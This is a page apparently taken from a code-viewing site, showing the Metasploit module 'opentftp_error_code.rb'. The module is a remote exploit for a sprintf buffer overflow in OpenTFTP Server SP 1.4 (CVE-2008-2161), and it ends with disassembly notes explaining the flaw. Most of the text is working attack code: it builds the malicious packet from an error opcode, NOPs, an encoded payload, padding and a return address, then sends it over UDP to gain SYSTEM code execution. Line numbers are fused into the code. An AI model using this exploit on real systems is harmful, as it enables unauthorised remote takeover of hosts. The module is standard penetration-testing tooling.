Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/tftp/opentftp_error_code.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp910def initialize(info = {})11super(update_info(info,12'Name' => 'OpenTFTP SP 1.4 Error Packet Overflow',13'Description' => %q{14This module exploits a buffer overflow in OpenTFTP Server SP 1.4. The vulnerable15condition triggers when the TFTP opcode is configured as an error packet, the TFTP16service will then format the message using a sprintf() function, which causes an17overflow, therefore allowing remote code execution under the context of SYSTEM.1819The offset (to EIP) is specific to how the TFTP was started (as a 'Stand Alone',20or 'Service'). By default the target is set to 'Service' because that's the default21configuration during OpenTFTP Server SP 1.4's installation.22},23'Author' =>24[25'tixxDZ', #Initial discovery, poc26'steponequit' #Metasploit module27],28'References' =>29[30['CVE', '2008-2161'],31['OSVDB', '44904'],32['BID', '29111'],33['URL', 'http://downloads.securityfocus.com/vulnerabilities/exploits/29111.pl']34],35'DefaultOptions' =>36{37'EXITFUNC' => 'process',38},39'Payload' =>40{41'Space' => 5000,42'BadChars' => "\x00\x0a\x0d",43'StackAdjustment' => -3500,44},45'Platform' => 'win',46'Targets' =>47[48#.bss section that is overwritten49[ 'OpenTFTP 1.4 Service', { 'Ret' => 0x0041b3ab } ],50[ 'OpenTFTP 1.4 Stand Alone', { 'Ret' => 0x0041b3ab } ]5152],53#TFTP server is installed as an NT service by default54'DefaultTarget' => 0,55'Privileged' => false,56'DisclosureDate' => '2008-07-05'))5758register_options(59[60Opt::RPORT(69),61])62end6364def exploit6566if target.name =~ /OpenTFTP 1.4 Stand Alone/67# This hits msvcrt.printf()68sploit = "\x00\x05" + make_nops(10)69sploit << payload.encoded70sploit << rand_text_alpha(20517 - payload.encoded.length)71sploit << [target['Ret']].pack('V')72sploit << Rex::Text.rand_text_alpha(1469)7374elsif target.name =~ /OpenTFTP 1.4 Service/75#This hits time()76sploit = "\x00\x05" + make_nops(10)77sploit << payload.encoded78sploit << rand_text_alpha(20445 - payload.encoded.length)79sploit << [target['Ret']].pack('V')80sploit << Rex::Text.rand_text_alpha(1545)81end8283# Send the malicious packet84connect_udp85udp_sock.put(sploit)86handler87disconnect_udp8889end90end9192=begin93NOTE: If the module is run on a OSX box, you will probably see this error:94[-] Exploit exception: Message too long95That's OSX for you.9697The vulnerable condition triggers when the TFTP opcode "\x00\x05" gets parsed in a ntohs() call:98.text:004022F6 mov eax, ds:dword_41B37099.text:004022FB movzx eax, word ptr [eax]100.text:004022FE mov [esp+5C8h+var_5C8], eax101.text:00402301 mov [ebp+var_550], 0FFFFFFFFh102.text:0040230B call ntohs103.text:00402310 sub esp, 4104.text:00402313 cmp ax, 5105.text:00402317 jnz short loc_40236F106...107108When the value matches 0x05, we then head down to a sprinf() function to generate an error109message, which causes an overflow:110.text:00402330 mov eax, ds:dword_41B370111.text:00402335 add eax, 4112.text:00402338 mov [esp+5C8h+var_5BC], eax113.text:0040233C mov [esp+5C8h+var_5C0], edx114.text:00402340 mov [esp+5C8h+var_5C4], offset aErrorIAtClient ; "Error %i at Client, %s"115.text:00402348 mov [esp+5C8h+var_5C8], offset byte_41B394116.text:0040234F call sprintf117118And then we either corrupt a msvcrt.printf() or time() call (in logMess), which end up gaining119control.120121In source:122http://pastebin.com/QgZDwcan123124else if (ntohs(datain->opcode) == 5) // Line 224125{126sprintf(serverError.errormessage, "Error %i at Client, %s", ntohs(datain->block), &datain->buffer);127logMess(req1, 1);128..... so on .....129130You can also corrupt a SetServiceStatus() call with a smaller buffer, but obviously doesn't131give you a better crash than this one.132=end133134135